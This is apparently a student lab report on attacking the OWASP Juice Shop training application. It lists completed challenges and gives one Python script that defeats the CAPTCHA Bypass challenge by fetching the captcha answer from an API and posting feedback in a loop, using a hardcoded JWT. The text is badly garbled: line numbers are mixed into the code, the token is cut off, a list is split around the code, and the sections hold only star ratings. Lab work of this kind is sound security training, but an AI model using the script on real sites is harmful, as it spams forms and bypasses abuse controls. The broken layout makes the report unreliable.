The Juice Shop Practical Work Report

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This report presents some attacks on the Juice Shop web application, which is a vulnerable web application designed for security testing.

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1. Introduction

1.1. All Completed Challenges

The following challenges have been completed:

- 1. Score Board
- 2. Privacy Policy
- 3. Bully Chatbot
- 4. Error Handling
- 5. Zero Stars
- 6. Login Admin
- 7. Admin Section
- 8. Empty User Registration
- 9. Five-Star Feedback
- 10. Forged Feedback
- 11. Login Jim
- 12. Login Bender
- 13. CAPTCHA Bypass
- 14. Deluxe Fraud
- 15. Payback Time
- 16. Multiple Likes

Among these challenges, the following five challenges are discussed in detail in this report:

- 1. Zero Stars
- 2. CAPTCHA Bypass

```
import requests
1
                                                                                                ру
   URL = "http://localhost:3000/"
2
3
    CAPTCHA_URL = f'{URL}/rest/captcha'
4
5
    FEEDBACKS_URL = f'{URL}/api/Feedbacks'
    jwt = 'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZC]
    aN4qacJ1Rsnz50unELAZgxHY1MwowAh11vVFLt_wBf2CnoBx9F0_9xE9aerBamI7oC8x9wiXcQ_lo3ZcMGgFUKXoc_wEu2
    wiap-Pblib6HIWxWpJrHHcynbBb9DvrmnT8LQA'
8
9
    def get_captcha():
10
        response = requests.get(CAPTCHA_URL, headers={'Authorization': jwt})
11
        return response
12
13 def send_feedback(feedback, userId = 1):
14
        captcha = get_captcha().json()
15
        response = requests.post(FEEDBACKS_URL, json={
16
17
          'captchaId': captcha['captchaId'],
          'captcha': captcha['answer'],
18
19
          'UserId': userId,
```

```
'feedback': feedback,

'rating': 114514

}, headers={'Authorization': jwt})

return response

[send_feedback('test') for _ in range(10)]
```

- 1. Deluxe Fraud
- 2. Payback Time
- 3. Multiple Likes

1.2. Zero Stars

1 star

1.3. CAPTCHA Bypass

3 stars

1.4. Deluxe Fraud

3 stars

1.5. Payback Time

3 stars

1.6. Multiple Likes

six stars

Statement of Original Authorship

We hereby declare that this report, entitled *The Juice Shop Practical Work Report*, is the result of our group's independent work, and all sources of information and assistance have been fully acknowledged. We confirm that, to the best of our knowledge, this work has not been previously submitted to any other academic institution for a degree or diploma, either in part or in whole.

Any external contributions or collaborative input have been cited appropriately, and all necessary permissions for the use of copyrighted materials have been obtained.

We understand the implications of academic integrity policies and are aware that any breach of these policies may result in academic penalties.

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Bibliography